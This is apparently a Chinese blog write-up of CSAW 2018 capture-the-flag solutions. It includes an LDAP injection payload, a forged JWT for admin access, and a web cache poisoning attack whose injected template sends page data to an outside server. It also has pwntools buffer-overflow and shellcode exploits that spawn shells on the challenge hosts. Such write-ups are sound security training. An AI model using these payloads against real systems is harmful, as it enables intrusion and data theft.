Tianji's Blog.

casw-2018

Word count: 2,997 / Reading time: 17 min
2018/09/18 Share

Web

ldab

ldap注入

参考链接:

正常语法:

(&(cn=s*)(|(sn=d*)(sn=r*))

payload:*)(|(ou=*

SSO

首先获取auth code:

1
2
3
4
cl_id=1
echo "POST http://web.chal.csaw.io:9000/oauth2/authorize"
auth_key=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/authorize --data "response_type=code&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io:9000/oauth2/token&state=123" | awk -v FS="code=|&state" '{print $2}')
echo "Getting Authorization Code : ${auth_key}"

通过auth code获取token:

1
2
3
echo "POST http://web.chal.csaw.io:9000/oauth2/token (using this Authorization Code"
token=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/token --data "grant_type=authorization_code&code=${auth_key}&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io:9000/oauth2/token")
echo "Getting Json Response : ${token}"

得到token,通过jwt.io解密,然后将type修改为admin,密码设置为ufoundme!:

s}ht@DESKTOP-GUA7PSI:/mnt/d/Program Files/cmder_mini$ curl http://web.chal.csaw.io:9000/protected -H “Authorization: Bearer JhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzcyNjI3NjYsImV4cCI6MTUzNzI2MzM2Nn0.VNm-jOfhxfza8W8RpC7sr-zUDPtXBdfI4XkT1CCdS34” | grep -Eo “flag{.*}”

1
flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}

Hacker Movies Club

web缓存污染攻击:https://portswigger.net/blog/practical-web-cache-poisoning

index.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

<html>
<head>
<script data-src="mustache.min.js" data-cdn="71aabdeb3d708872c6e00e066ae48b2669834df7.hm.vulnerable.services"></script>
<script data-src="app.js" data-cdn="71aabdeb3d708872c6e00e066ae48b2669834df7.hm.vulnerable.services"></script>
</head>
<body>
<div id="content">Loading..</div>
<script>
window.loaded_recapcha = () => {
window.loaded_recapcha = true;
}
window.loaded_mustache = () => {
window.loaded_mustache = true;
}
</script>

<script src="/cdn.js"></script>

<script src='https://www.google.com/recaptcha/api.js?onload=loaded_recapcha&render=explicit'></script>
</body>
</html>

CDN.js, 加载头部的js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
for (let t of document.head.children) {
if (t.tagName !== 'SCRIPT')
continue;
let { cdn, src } = t.dataset;
if (cdn === undefined || src === undefined)
continue;
fetch(`//${cdn}/cdn/${src}`,{
headers: {
'X-Forwarded-Host':cdn
}}
).then(r=>r.blob()).then(b=> {
let u = URL.createObjectURL(b);
let s = document.createElement('script');
s.src = u;
document.head.appendChild(s);
});
}

app.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
var token = null;
Promise.all([
fetch('/api/movies').then(r=>r.json()),
fetch(`//71aabdeb3d708872c6e00e066ae48b2669834df7.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
new Promise((resolve) => {
if (window.loaded_recapcha === true)
return resolve();
window.loaded_recapcha = resolve;
}),
new Promise((resolve) => {
if (window.loaded_mustache === true)
return resolve();
window.loaded_mustache = resolve;
})
]).then(([user, view])=>{
document.getElementById('content').innerHTML = Mustache.render(view,user);

grecaptcha.render(document.getElementById("captcha"), {
sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
theme: 'dark',
callback: t=> {
token = t;
document.getElementById('report').disabled = false;
}
});
let hidden = true;
document.getElementById('report').onclick = () => {
if (hidden) {
document.getElementById("captcha").parentElement.style.display='block';
document.getElementById('report').disabled = true;
hidden = false;
return;
}
fetch('/api/report',{
method: 'POST',
body: JSON.stringify({token:token})
}).then(r=>r.json()).then(j=>{
if (j.success) {
// The admin is on her way to check the page
alert("Neo... nobody has ever done this before.");
alert("That's why it's going to work.");
} else {
alert("Dodge this.");
}
});
}
});

main.mst,模板文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<div class="header">
Hacker Movie Club
</div>

{{#admin}}
<div class="header admin">
Welcome to the desert of the real.
</div>
{{/admin}}

<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
{{^admin_only}}
<tr>
<td>{{ name }}</td>
<td>{{ year }}</td>
<td>{{ length }}</td>
</tr>
{{/admin_only}}
{{/movies}}
</tbody>
</table>

<div class="captcha">
<div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>

分析:

通过查看/api/movies的返回结果可以看到[REDACTED],只能由管理员查看。

1
{"admin":false,"movies":[{"admin_only":false,"length":"1 Hour, 54 Minutes","name":"WarGames","year":1983},{"admin_only":false,"length":"0 Hours, 31 Minutes","name":"Kung Fury","year":2015},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"Sneakers","year":1992},{"admin_only":false,"length":"1 Hour, 39 Minutes","name":"Swordfish","year":2001},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"The Karate Kid","year":1984},{"admin_only":false,"length":"1 Hour, 23 Minutes","name":"Ghost in the Shell","year":1995},{"admin_only":false,"length":"5 Hours, 16 Minutes","name":"Serial Experiments Lain","year":1998},{"admin_only":false,"length":"2 Hours, 16 Minutes","name":"The Matrix","year":1999},{"admin_only":false,"length":"1 Hour, 57 Minutes","name":"Blade Runner","year":1982},{"admin_only":false,"length":"2 Hours, 43 Minutes","name":"Blade Runner 2049","year":2017},{"admin_only":false,"length":"1 Hour, 47 Minutes","name":"Hackers","year":1995},{"admin_only":false,"length":"1 Hour, 36 Minutes","name":"TRON","year":1982},{"admin_only":false,"length":"2 Hours, 5 Minutes","name":"Tron: Legacy","year":2010},{"admin_only":false,"length":"2 Hours, 25 Minutes","name":"Minority Report","year":2002},{"admin_only":false,"length":"2 Hours, 37 Minutes","name":"eXistenZ","year":1999},{"admin_only":true,"length":"22 Hours, 17 Minutes","name":"[REDACTED]","year":2018}]}

修改:

1
{"admin_only":true,"length":"22 Hours, 17 Minutes","name":"[REDACTED]","year":2018}]}

true改为false.可以看到在页面上显示出了结果。

在观察相应头部:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
...
Cache-Control: no-cache
X-Varnish: 157274709
Age: 0
Via: 1.1 varnish-v4
Accept-Ranges: bytes
Connection: keep-alive

如果来自Apache的响应是可缓存的,Varnish会将其存储以便更快地响应未来的请求。

https://docs.acquia.com/acquia-cloud/performance/varnish/

X-Forwarded-Host:

X-Forwarded-Host (XFH) 是一个事实上的标准首部,用来确定客户端发起的请求中使用 Host 指定的初始域名。 反向代理(如负载均衡服务器、CDN等)的域名或端口号可能会与处理请求的源头服务器有所不同,在这种情况下,X-Forwarded-Host 可以用来确定哪一个域名是最初被用来访问的。

上面这些归结起来就是当服务器进行缓存时它会将客户端的请求转发到XFH指定的host上去。

  现在再回过头看看我们已有的资料。我们得知main.mst是模板文件,它会利用等对admin身份进行判断,如果我们能够劫持掉这个模板文件,使她绕过admin就可以获得到完整的项。

  我们先来找到main.mst缓存的最大时间(max-age),我们可以带着X-Forwarded-Host不停的请求/cdn/app.js,如果fetch('//71aabdeb3d708872c6e00e066ae48b2669834df7.hm.vulnerable.services/cdn/main.mst')能被我们控制到fetch('my_server/cdn/main.mst')上就成功的完成了劫持。

  我们可以使用下面的脚本验证一下:

1
2
3
4
5
6
7
8
9
# -*- coding: utf-8 -*-
import requests
X_Forwarded_Host = '1.2.3.4'
while True:
resp = requests.get("http://71aabdeb3d708872c6e00e066ae48b2669834df7.hm.vulnerable.services/cdn/app.js", headers={'X-Forwarded-Host': X_Forwarded_Host})
print resp.headers
if X_Forwarded_Host in resp.text:
print resp.text
break

结果:

1
2
3
4
5
6
7
8
9
{'Content-Length': '1575', 'Access-Control-Allow-Headers': 'X-Forwarded-Host', 'Access-Control-Max-Age': '21600', 'Age': '0', 'Server': 'gunicorn/19.9.0', 'Connection': 'keep-alive', 'X-Varnish': '157377770 157377768', 'Via': '1.1 varnish-v4', 'Date': 'Wed, 19 Sep 2018 01:00:24 GMT', 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'HEAD, OPTIONS, GET', 'Content-Type': 'application/javascript', 'Accept-Ranges': 'bytes'}
var token = null;

Promise.all([
fetch('/api/movies').then(r=>r.json()),
fetch(`//1.2.3.4/cdn/main.mst`).then(r=>r.text()),
new Promise((resolve) => {
if (window.loaded_recapcha === true)
return resolve();

在使用浏览器刷新一下:

可以看到这时候请求http://1.2.3.4/cdn/main.mst。然后,构造好模板文件,让管理员访问即可。

构造main.mst如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<div class="header">
Hacker Movie Club
</div>

<div class="header admin">
Welcome to the desert of the real.
</div>

<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
<tr>
<td>{{ name }}</td>
<td>{{ year }}</td>
<td>{{ length }}</td>
</tr>
{{/movies}}
</tbody>
</table>

<div class="captcha">
<div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
<img src=x onerror="fetch('http://123.207.90.143/'+'{{#movies}}{{ name }}{{/movies}}')">

如果使用apache或者nginx,可以使用如下代码:

同时修改.htaccess

1
AddType application/x-httpd-php .php .mst

main.mst

1
2
<?php Header("Access-Control-Allow-Origin: *"); ?>
<img src="http://my_server/?c={{#movies}}{{name}}{{/movies}}"></img>

或者修改一下配置文件。

如果不想修改配置文件,可以使用python启动一个服务器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# -*- coding: utf-8 -*-

try:
# Python 3
from http.server import HTTPServer, SimpleHTTPRequestHandler, test as test_orig
import sys
def test (*args):
test_orig(*args, port=int(sys.argv[1]) if len(sys.argv) > 1 else 8000)
except ImportError: # Python 2
from BaseHTTPServer import HTTPServer, test
from SimpleHTTPServer import SimpleHTTPRequestHandler

class CORSRequestHandler (SimpleHTTPRequestHandler):
def end_headers (self):
self.send_header('Access-Control-Allow-Origin', '*')
SimpleHTTPRequestHandler.end_headers(self)

if __name__ == '__main__':
test(CORSRequestHandler, HTTPServer)

然后创建cdn/main.mst文件即可。

目录:

1
2
3
4
5
[root@VM_89_224_redhat ~]# tree
.
├── cdn
│   └── main.mst
└── web_cache.py

最终结果:

1
2
3
4
5
[root@VM_89_224_redhat ~]# python web_cache.py 80
Serving HTTP on 0.0.0.0 port 80 ...
216.165.2.32 - - [19/Sep/2018 10:06:15] "GET /cdn/main.mst HTTP/1.1" 200 -
216.165.2.32 - - [19/Sep/2018 10:06:16] code 404, message File not found
216.165.2.32 - - [19/Sep/2018 10:06:16] "GET /WarGamesKung%20FurySneakersSwordfishThe%20Karate%20KidGhost%20in%20the%20ShellSerial%20Experiments%20LainThe%20MatrixBlade%20RunnerBlade%20Runner%202049HackersTRONTron:%20LegacyMinority%20ReporteXistenZflag%7BI_h0pe_you_w4tch3d_a11_th3_m0v1es%7D HTTP/1.1" 404 -

参考链接:

PWN

bigboy

payload: (printf "AAABBBCCCDDDEEFFFGGG\xee\xba\xf3\xca";cat)|nc pwn.chal.csaw.io 9000

get it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python2
from pwn import *
DEBUG=False

if DEBUG:
p = process("./get_it")
pause()
else:
p = remote('pwn.chal.csaw.io',9001)

give_shell = 0x4005B6

payload = "A"*40
payload += p64(give_shell)

p.sendline(payload)
p.interactive()

shellcode

solve1

使用的shellcode。

1
http://shell-storm.org/shellcode/files/shellcode-806.php

首先使用radare2来判断每一个指令的开始和结束:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ctf@ctf-virtual-machine:~/Desktop/casw/pwn$ rasm2 -k linux -b 64 -D "31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05"
0x00000000 2 31c0 xor eax, eax
0x00000002 10 48bbd19d9691d08c97ff mov rbx, 0xff978cd091969dd1
0x0000000c 3 48f7db neg rbx
0x0000000f 1 53 push rbx
0x00000010 1 54 push rsp
0x00000011 1 5f pop rdi
0x00000012 1 99 cdq
0x00000013 1 52 push rdx
0x00000014 1 57 push rdi
0x00000015 1 54 push rsp
0x00000016 1 5e pop rsi
0x00000017 2 b03b mov al, 0x3b
0x00000019 2 0f05 syscall

我们知道简短的跳转指令包括:\xEB**(\XEB + 8bits的相对偏移)

布局:

1
2
3
4
5
6
7
8
9
10
11
12
        0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f
rsp+ 0: |- ADDRESS TO NODE 3 -|-- NODE 2 BUFFER ------
00 00 00 00 00 00 00 00 48 f7 db 53 54 5f 99 52

rsp+16: - NODE 2 BUFFER -----------------------------|
57 54 5e b0 3b 0f 05 00 00 00 00 00 00 00 00 00

rsp+32: |- ADDRESS TO NODE 2 -|-- NODE 1 BUFFER ------
XX XX XX XX XX XX XX XX 31 c0 48 bb d1 9d 96 91

rsp+48: - NODE 1 BUFFER -----------------------------|
d0 8c 97 ff eb YY ** 00 00 00 00 00 00 00 00 00

现在需要从rsp+54跳转到rsp+8,那么偏移offset就是-46或者0xD2, -46 & 0xff = 0xD2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

shellcode_first = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\xeb\xd2"
shellcode_second = "\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
print disasm(shellcode_first)
r = remote("pwn.chal.csaw.io", 9005)

r.recvuntil("Text for node 1:")
r.sendline(shellcode_first)
r.recvuntil("Text for node 2:")s
r.recvuntil("node.next: 0x")

rsp = int(r.recvline(), 16)
print(hex(rsp))
shellcode_address = p64(rsp + 40)

r.recvuntil("What are your initials?")
r.sendline("XXX>>RBP<<<" + shellcode_address)

r.interactive()

solve2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

r = remote('pwn.chal.csaw.io', 9005)

r.sendlineafter('node 1:',
'\x48\x89\xe7' # mov %rsp,%rdi
'\x31\xf6' # xor %esi,%esi
'\xeb\xdb' # jmp node 2
)
r.sendlineafter('node 2:',
'AA' # (overwritten later)
'\x99' # cdq
'\xb0\x3b' # mov $0x3b,%al
'\x0f\x05' # syscall
)

r.recvuntil('node.next: ')
addr = int(r.recvline(), 16) + 0x28
r.sendlineafter('initials?', 'A' * 0xb + p64(addr) + '/bin/sh\x00')
r.interactive()

solve3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
from pwn import *
context(arch="amd64")

r = remote("pwn.chal.csaw.io", 9005)

sc = """
mov rdi, rsp
/* call execve('rsp', 0, 0) */
push (SYS_execve) /* 0x3b */
pop rax
xor esi, esi /* 0 */
cdq /* rdx=0 */
syscall
"""
r.sendline(asm(sc))
r.sendline("x")
r.recvuntil("node.next: ")

leak = int(r.recv(14)[2:], 16)
r.sendline(b"a" * 11 + p64(leak + 0x28) + b"/bin/sh\x00")
r.interactive()

solve4

简单的shellcode:

1
2
3
4
5
6
7
8
9
xor rax, rax
mov rdi, 0x68732f6e69622f2f
xor rsi, rsi
push rsi
push rdi
mov rdi, rsp
xor rdx, rdx
mov al, 59
syscall

改造, pop crx用于移除\n,jump rsp跳转到指定地址:

1
2
3
4
5
6
7
8
9
10
11
12
; Node 1
mov rdi, 0x68732f6e69622f2f
pop rcx
jmp rsp
; Node 2
xor rsi, rsi
push rsi
push rdi
mov rdi, rsp
xor rdx, rdx
mov al, 59
syscall

exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context(arch = 'amd64', os = 'linux')

#p = process("./shellpointcode")
#p = gdb.debug("/home/manu/CTF/CSAW_2018/pwn/shellpointcode", '''
# c
#''')

p = remote('pwn.chal.csaw.io',9005)
shell1 = "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x59\xff\xe4"
shell2 = "\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05"
node_1 = p.recvuntil("(15 bytes) Text for node 1:")
shellcode = "\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05"
p.sendline(shell1)
node_2 = p.recvuntil("(15 bytes) Text for node 2:")
p.sendline(shell2)
data = p.recvuntil("What are your initials?\x0a")
shellcode_addr = data.split("\n")[2].split(":")[1].strip()
addr = p64(int(shellcode_addr, 16)+0x28)
log.info("Shellcode addr = %s"%hex(int(shellcode_addr, 16)+0x28))
p.sendline("A"*11+addr)
p.interactive()

solve5

1
2
3
4
5
6
7
8
9
10
global _start
_start:
xor rax, rax
push rax
pop rsi
cdq
pop rdi
mov rdi, rsp
mov al, 59
syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
p = '\x48\x31\xc0\x50\x5e\x99\x5f\x48\x89\xe7\xb0\x3b\x0f\x05'
r = remote('pwn.chal.csaw.io', 9005)
r.recvlines(4)
r.sendline(p)
r.recvline()
r.sendline('/bin/sh' + '\x00')
r.recvuntil('node.next: ')
leak = int(r.recvline(False), 16)
buf = leak + 0x28
r.recvlines(3)
r.sendline('A' * 11 + p64(buf))
r.recvline()
r.interactive()

doubleTroubble

Description: Did you know every Number in javascript is a float

CATALOG
  1. 1. Web
    1. 1.1. ldab
    2. 1.2. SSO
    3. 1.3. Hacker Movies Club
  2. 2. PWN
    1. 2.1. bigboy
    2. 2.2. get it
    3. 2.3. shellcode
      1. 2.3.1. solve1
      2. 2.3.2. solve2
      3. 2.3.3. solve3
      4. 2.3.4. solve4
      5. 2.3.5. solve5
    4. 2.4. doubleTroubble